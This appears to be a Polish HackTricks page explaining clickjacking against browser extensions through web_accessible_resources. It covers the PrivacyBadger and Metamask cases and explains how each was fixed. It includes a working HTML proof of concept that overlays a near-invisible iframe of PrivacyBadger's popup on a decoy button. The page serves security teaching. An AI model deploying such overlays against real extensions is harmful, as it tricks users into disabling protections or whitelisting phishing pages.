BrowExt - ClickJacking
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Ta strona będzie wykorzystywać lukę ClickJacking w rozszerzeniu przeglądarki.
Jeśli nie wiesz, czym jest ClickJacking, sprawdź:
{{#ref}} ../clickjacking.md {{#endref}}
Rozszerzenia zawierają plik manifest.json
, a ten plik JSON ma pole web_accessible_resources
. Oto co mówią dokumenty Chrome:
Te zasoby będą dostępne na stronie internetowej za pośrednictwem adresu URL
chrome-extension://[PACKAGE ID]/[PATH]
, który można wygenerować za pomocąextension.getURL method
. Zasoby z listy dozwolonej są serwowane z odpowiednimi nagłówkami CORS, więc są dostępne za pośrednictwem mechanizmów takich jak XHR.1
web_accessible_resources
w rozszerzeniu przeglądarki nie są dostępne tylko przez sieć; działają również z wbudowanymi uprawnieniami rozszerzenia. Oznacza to, że mają zdolność do:
- Zmiany stanu rozszerzenia
- Ładowania dodatkowych zasobów
- Interakcji z przeglądarką w pewnym zakresie
Jednak ta funkcja stwarza ryzyko bezpieczeństwa. Jeśli zasób w web_accessible_resources
ma jakąkolwiek istotną funkcjonalność, atakujący mógłby potencjalnie osadzić ten zasób w zewnętrznej stronie internetowej. Nieuważni użytkownicy odwiedzający tę stronę mogą nieświadomie aktywować ten osadzony zasób. Taka aktywacja może prowadzić do niezamierzonych konsekwencji, w zależności od uprawnień i możliwości zasobów rozszerzenia.
Przykład PrivacyBadger
W rozszerzeniu PrivacyBadger zidentyfikowano lukę związaną z katalogiem skin/
, który został zadeklarowany jako web_accessible_resources
w następujący sposób (sprawdź oryginalny post na blogu):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ta konfiguracja prowadziła do potencjalnego problemu z bezpieczeństwem. Konkretnie, plik skin/popup.html
, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógł być osadzony w iframe
. To osadzenie mogło być wykorzystane do wprowadzenia użytkowników w błąd, aby nieumyślnie kliknęli "Wyłącz PrivacyBadger dla tej witryny". Taki krok naruszyłby prywatność użytkownika, wyłączając ochronę PrivacyBadger i potencjalnie narażając użytkownika na zwiększone śledzenie. Wizualna demonstracja tego exploit'u jest dostępna w przykładzie wideo ClickJacking pod adresem https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Aby rozwiązać tę lukę, wdrożono proste rozwiązanie: usunięcie /skin/*
z listy web_accessible_resources
. Ta zmiana skutecznie zminimalizowała ryzyko, zapewniając, że zawartość katalogu skin/
nie mogła być dostępna ani manipulowana przez zasoby dostępne w sieci.
Naprawa była prosta: usuń /skin/*
z web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Przykład Metamask
A blog post about a ClickJacking in metamask can be found here. W tym przypadku, Metamask naprawił lukę, sprawdzając, czy protokół używany do uzyskania dostępu to https:
lub http:
(nie chrome:
na przykład):
Inna luka ClickJacking naprawiona w rozszerzeniu Metamask polegała na tym, że użytkownicy mogli Click to whitelist, gdy strona była podejrzana o phishing z powodu “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł to wykorzystać, pokazując coś normalnego, aby ofiara kliknęła, aby dodać do białej listy, nie zauważając tego, a następnie wracając do strony phishingowej, która zostanie dodana do białej listy.
Przykład Steam Inventory Helper
Sprawdź następującą stronę, aby zobaczyć, jak XSS w rozszerzeniu przeglądarki zostało połączone z luką ClickJacking:
{{#ref}} browext-xss-example.md {{#endref}}
Odniesienia
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.